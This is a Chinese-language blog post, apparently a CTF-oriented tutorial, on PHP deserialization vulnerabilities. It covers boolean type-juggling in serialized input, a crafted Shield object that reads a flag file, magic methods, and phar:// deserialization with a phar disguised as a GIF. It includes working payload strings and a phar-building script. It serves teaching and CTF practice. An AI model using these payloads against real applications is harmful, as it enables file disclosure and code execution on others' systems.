PHP反序列化漏洞

补充了一些内容

把复杂的数据类型压缩到一个字符串中

serialize() 把变量和它们的值编码成文本形式

unserialize() 恢复原先变量

反序列化漏洞

unserialize() 的参数可控时,通过传入一个特意构造好的的序列化字符串,从而控制对象内部的变量甚至是函数以进行非法操作。

序列化和反序列化demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class Point
{
public $x = 1;
public $y = 2;
public function show()
{
echo ('point is ('.$this->x.','.$this->y.')'."<br>");
}
}

$a = array();
$a['id'] = '1';
$a['name'] = 'user';
$a['pwd'] = '123';
var_dump($a);
echo ("<br>");
$b = serialize($a);
var_dump($b);
$c = unserialize($b);
echo ('<br>');
var_dump($c);

$p1 = @new Point();
echo ('<br>');
$p1->show();
echo @serialize(p1);

?>

运行结果:

1
2
3
4
5
array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" }
string(65) "a:3:{s:2:"id";s:1:"1";s:4:"name";s:4:"user";s:3:"pwd";s:3:"123";}"
array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" }
point is (1,2)
s:2:"p1";

0x01. 利用普通变量或方法

貌似实验吧有一题

5b5da21d2f014.jpg

view-source有如下提示

39.jpg

试了个开头为0的md5,s878926199a

得到/user.php?fame=hjkleffifer

打开是这样

40.jpg

所以说,得先把password序列化再输入,而且要求数组里的user和pass都等于’???‘,因为‘==’是比较运算符号,不会检查条件式的表达式的类型。

根据提示’成也布尔,败也布尔‘,布尔类型的true跟任意字符串在‘==’下成立,就可以构造bool型序列化的password。

经查阅 序列化中 i代表int,a代表array,s代表string,b代表bool,数字代表个数/长度

例子:

1
2
3
4
5
6
$test = array("a"=>0,"b"=>0,"c"=>0);
$test2 = '';
$test2=serialize($test);
echo $test2; //类似a:3:{s:1:"a";i:0;s:1:"b";i:0;s:1:"c";i:0;}

print_r(unserialize($test2));

构造passworda:2:{s:4:"user";b:1;s:4:"pass";b:1;}

注意{}前面写参数个数

41.jpg

jarvis oj 一题

题目入口:http://web.jarvisoj.com:32768/

初始页面是个图片

查看源码:

1
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

c2hpZWxkLmpwZw==经base64解码是shield.jpg

利用这点查看index.php和showimg.php的源码

index.php:

1
2
3
4
5
6
7
8
9
10
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

showimg.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

index.php里发现shield.php,也看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

注意到//flag is in pctf.php

但showimg.php里对pctf有过滤

index.php中,可以接收一个class的参数 , 通过这个参数反序列化来创建一个shield对象 , 然后再调用这个shield对象的readfile方法

即这段:

1
2
3
4
5
6
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();

shield.php里有个readfile函数,使用的是对象里的file参数

即这段代码:

1
2
3
4
5
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}

所以构造一个经反序列化后,file=’pctf.php’的参数

即构造class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

flag

1.jpg

0x02. PHP: Magic function

除利用普通变量或方法外还可以利用Magic function(魔术方法)进行反序列化攻击,有关魔术方法:http://php.net/manual/zh/language.oop5.magic.php

__construct():当对象创建(new)时会自动调用,注意在
unserialize()时并不会自动调用

__destruct():对象被销毁时会自动调用

__sleep(): serialize()时会先被调用

__wakeup():unserialize()时会先被调用

其他

1
2
3
4
5
6
7
8
9
10
11
12
13
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

__construct()__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 

class demo
{
public $test_v1 = 'function';

function __construct()
{
echo $this->test_v1."<br>";
}

function __destruct()
{
echo $this->test_v1."<br>";

}

}

$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}';
unserialize($s);

$demo2 = new demo();

?>

输出:
phpinfo()
function
function

__sleep()__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 

class demo
{
public $test_v1 = 'function';

function __sleep()
{
echo "serialize<br>";
}

function __wakeup()
{
echo "unserialize<br>";
}

}

$s = serialize(new demo());
$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}';
unserialize($s);

//$demo2 = new demo();

?>

输出:
serialize
unserialize

0x03. phar文件通过phar://伪协议进行反序列化

因为phar文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/

受影响文件系统函数
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

假设file参数可控,传入phar://demo.phar

demo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class demo {
public $demo_v='NULL';
public function __destruct()
{
echo $this->demo_v."<br>";
}
}

$file = 'phar://demo.phar';
file_get_contents($file);

?>

php脚本构造demo.phar利用以上代码的demo类输出其他字符串

payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class demo {
public $demo_v='phpinfo()';
public function __destruct()
{
echo $this->demo_v."<br>";
}
}

$phar = new Phar("demo.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$obj = new demo();
$phar->setMetadata($obj);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

运行demo.php

r1.png

Example:

先是一个文件上传,在flag.php中有以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$recieve = $_GET['filename'];

class flag{
var $file;
private $flag = '****';

function __destruct(){
if ($this->file == 'phar'){
echo $this->flag;
}
}
}

file_get_contents($recieve);

本地生成phar文件伪装gif,再phar伪协议触发php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class flag{
var $file = 'phar';
}
$a = serialize(new flag());
var_dump($a);
$b = unserialize($a);
$p = new Phar('./pp.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('pp.phar', 'pp.gif')
?>

上传访问flag.php?filename=phar://upload_file/pp.gif得到flag

D0g3{P_har_i3_uSef0l}

再如护网杯easy_Laravel一题也是利用phar反序列化

  • 防范

    • 检查文件内容
    • 严格过滤文件函数参数

0x04. 参考link:

http://p0desta.com/2018/04/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93/

https://paper.seebug.org/680/

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/10/23/php-unserialize/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog